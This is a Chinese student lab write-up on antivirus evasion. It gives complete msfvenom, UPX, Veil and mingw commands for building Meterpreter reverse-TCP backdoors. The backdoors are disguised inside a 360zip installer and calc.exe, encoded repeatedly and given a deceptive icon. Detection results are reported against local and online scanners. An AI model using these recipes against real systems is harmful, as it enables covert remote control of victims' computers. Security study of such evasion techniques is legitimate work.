这次的实验令我非常兴奋,因为要对抗的是各大杀毒软件厂商,所以事先得做好很多功课。另一方面我也想看看metasploit在这场猫鼠游戏中能不能走在安全厂商的前面。
这次的目标免杀平台是64位windows 7 SP1,我用的windows 7 SP1虚拟机中事先装了一下杀毒软件:
在线检测:
在正式开始实验之前,我们先看一下没有做免杀的Meterpreter在各个杀毒引擎面前的表现,以此为基准,评估免杀的效果。
可以看出没有做免杀的Meterpreter是相当容易暴露的。
杀毒软件厂商的钱不是白赚的,单靠MSF的编码器要想取得成功非常困难。所以我一开始就准备用msfvenom来个大招!
首先,我们不能使用msfvenom的默认模版装载payload,这么多安全厂商盯着metasploit,我们最好选择自己的模版。我决定用360压缩的安装包作为模版,并尝试保留它的原始功能。
其次,必须选择合适的编码器。shikata_ga_nai是msf中唯一的评价是excellent的编码器,这种多态编码技术使得没次生成的攻击载荷文件是不一样的。这里我们要使用多重编码,通过管道,让msfvenom用不同编码器反复编码进行混淆。
因此,我列出这次实验中msfvenom要用到的参数,供同学们参考:
-a
设置目标的指令集架构,这里我们选择x86即可--platform
设置目标平台,这里是windows,可以通过--help-platforms
选项查看msfvenom支持的所有平台-p
设置攻击载荷,我们使用windows/meterpreter/reverse_tcp,可以通过-l payloads
查看所有攻击载荷-e
指定编码器,我会组合使用不同的编码器,可以通过-l encoders
查看所有编码器-i
指定编码迭代的次数-x
指定模版 -k
该选项可以保留模版原来的功能,将payload作为一个新的线程来注入,但不能保证可以用在所有可执行程序上。-f
指定生成格式,可以是raw,exe,elf,jar,c语言的,python的,java的……,用--help-formats
查看所有支持的格式输入
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.0.2.6 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x 360zip_setup_4.0.0.1030.exe -f exe > 360zip_setup.20155110.exe
这里使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以360zip_setup_4.0.0.1030.exe为模板的可执行文件。
原始模板的大小只有7.5M,但编码以后却增加到了16M!!
把它交给win7靶机测试环境,原始安装包的功能消失了!,-k
参数好像没发挥作用。
但是这个后门还是可以运行的。
我先用本地的一些安全软件对后门进行检测,这些软件的版本信息我写在前面了。这里用到技术还是比较单一的,我对测试结果没报太大希望。
我刚打开火绒安全软件,火绒就立马报毒了,甚至连netcat它都没放过!!
360安全卫士的检测结果如下,我们也没能骗过了360安全卫士,360还是很强的。
本地检测局限性比较大,我们通过两个在线恶意代码检测平台测试一下这个后面程序。
太惨了!66个引擎有35个发现后门。毕竟使用的技术过于单一,这也是没办法的事情。
upx打包器的原理非常简单,就是将可执行文件中的代码和数据进行压缩,然后将解压缩用的代码附加在前面,运行的时候先将原本的可执行数据解压出来,然后再运行解压缩后的数据。
打包器的本质目的是反调试,防止逆向工程。我们这里使用打包器的目的是为了改变后门程序的特征码。
我本来想在上一步的基础上对后门软件进行upx加壳,
但是,360压缩的安装包本身无法用upx加壳,以它为模板的后门程序也没法用upx加壳。
到这里,我的思路被打断了。我觉得这是模板的问题,我应该重新选择一个模板(而且从之前的实验看,360压缩安装包并不是一个好的模板)
没办法,只能选择新的模板了,我选择了32位的计算器程序calc.exe作为模板。
输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=5110 -x calc.exe -k -f exe > calc.5.1.10.exe
先生成后门程序
运行这个后门程序,-k
参数对该模板是有效的!计算器的功能正常保留了下来,这次的后门有点像样了!
但是从图上可以看出来,后门程序的大小比原始程序要大的多。
可以看一下Meterpreter所在的进程:
直接输入upx calc.5.1.10.exe
,尝试对后门程序进行加壳,但失败了。
但对原始模板calc.exe进行加壳却没有问题,输入upx calc.exe -o calc_upx.exe
但模板却没法运行了……
使用msfvenom的默认模版,使用shikata_ga_nai编码器编码20次,然后用upx加壳,看看能不能成功。
输入msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=5110 -e x86/shikata_ga_nai -i 20 -f exe > backdoor.5.1.10.exe
加壳upx backdoor.5.1.10.exe
火绒和360都轻轻松松的发现了upx加壳的后门程序。
我觉得应该是默认模板和编码器的使用过于简单,即便upx加壳混淆,依然难以达到免杀的效果。
简单的upx加壳还没有MSF原生的多重编码管用。
Veil-Evasion通过各种不同的语言对shellcode进行改写,达到免杀的目的。作者在github上声明原来的Veil-Evasion已经不再维护了,让用户使用Veil 3.0。其实两者使用起来没有太大差别。veil的官网http://www.veil-framework.com有关于veil使用的教程可以参考。
我花了不少时间去安装veil。一开始从apt中安装veil失败了,我干脆到github上去克隆veil,依然没有配置好环境(不同于metasploit的主页,Veil的主页在github上还是比较冷清,贡献者不多)
因为安装错误,我无法在kali上让python脚本变成可执行文件,不过使用c语言倒是可以编译,但倒霉的是,我到64位win7虚拟机居然无法运行这个后门(但我到win10主机可以运行这个后门)。
我立刻改变思路,自行编译Veil生成的源码。先生成C语言版本的源码看看。
考虑到我win7虚拟机的性能,安装Visual Studio比较困难,我选择安装mingw来编译c/c++,来编译源码(虽然mingw编译正常程序生成的机器码来说都可能误报)
注意
我们发现后门的源代码中使用了socket套接字,mingw手工编译时需要链接ws2_32库,输入指令gcc -o veil_test.5.1.10.exe veil_test.5.1.10.c -lws2_32
进行编译。
编译了C语言版本的veil后门程序后,我把它放到virustotal上检测了一下,效果非常不错!只有8个引擎发现问题。
而且火绒安全和360都没有发现问题
我们开启这个后门试试,顺便看看它能不能躲过 动态检测。这里有个小技巧,直接使用veil在/usr/share/veil-output/handler
中的rc资源文件启动metasploit。
在win7中打开杀毒软件,在kali中输入msfconsole -r veil_test.5.1.10.rc
,手动运行后门,成功连接,360没有任何动静!
依然是使用Veil 3.0的Evasion生成后门源码,这里我选择的payload是python/meterpreter/rev_tcp,生成的源码如下:
Veil作者推荐使用Py2Exe生成可执行文件,之后我们得到了rnume.bat
和setup.py
安装脚本。
忘了说了,我事先在win7虚拟机中安装了Python3.3, py2Exe, PyCrypto, PyWin32,然后才能将python脚本变为可执行文件。
直接双击 runme.bat 批处理文件就能生成可执行文件了。
先放到virustotal上看一下生成的veil_py.5.1.10.exe后门的免杀效果。
在看看本地的火绒安全和360能不能发现这个后门。
在杀毒软件开启的情况下,看看它能不能躲过动态查杀。
打开msfconsole进入监听状态,双击启动后门,虽然我们获得了会话
但是,靶机此时的画面却是这个样子的
想象一下,如果用户看到这样的画面, 一定会立即关闭这个进程!,我们刚刚获得的Meterpreter会话立刻就会关闭,而且我们的手速来不及做进程迁移
我经过多次尝试,发现如果没有msfconsole的监听,点击veil_py.5.1.10.exe没有任何反应。一旦msfconsole监听反弹会话,点击这个后门就会出现崩溃提示。
总而言之,这个后门是个失败品。
为了让我们的后门程序能够具有一些欺骗性,我觉得给后门程序添加一个图标。
先创建资源文件img.rc
1 ICON "img.ico"
然后使用windres
生成目标文件
windres img.rc img.o
在把之前的veil_test.5.1.10和img.o链接起来,生成目标后门程序 veil_img.5.1.10.exe
gcc -o veil_img.5.1.10.exe veil_test.5.1.10.c img.o -lws2_32
我们依然测试一下这个后门的免杀效果。
我们看一下这个后门能否正常使用(杀毒软件全开)
这个后门可以说是成功了!
杀毒软件的更新是非常快的,这里给出的方法和过程在今天还是可行的。但过了几个月之后,免杀技术就有可能出现重大的变化和更新。免杀技术需要不断地磨练与实践,才能在实战中提高成功率。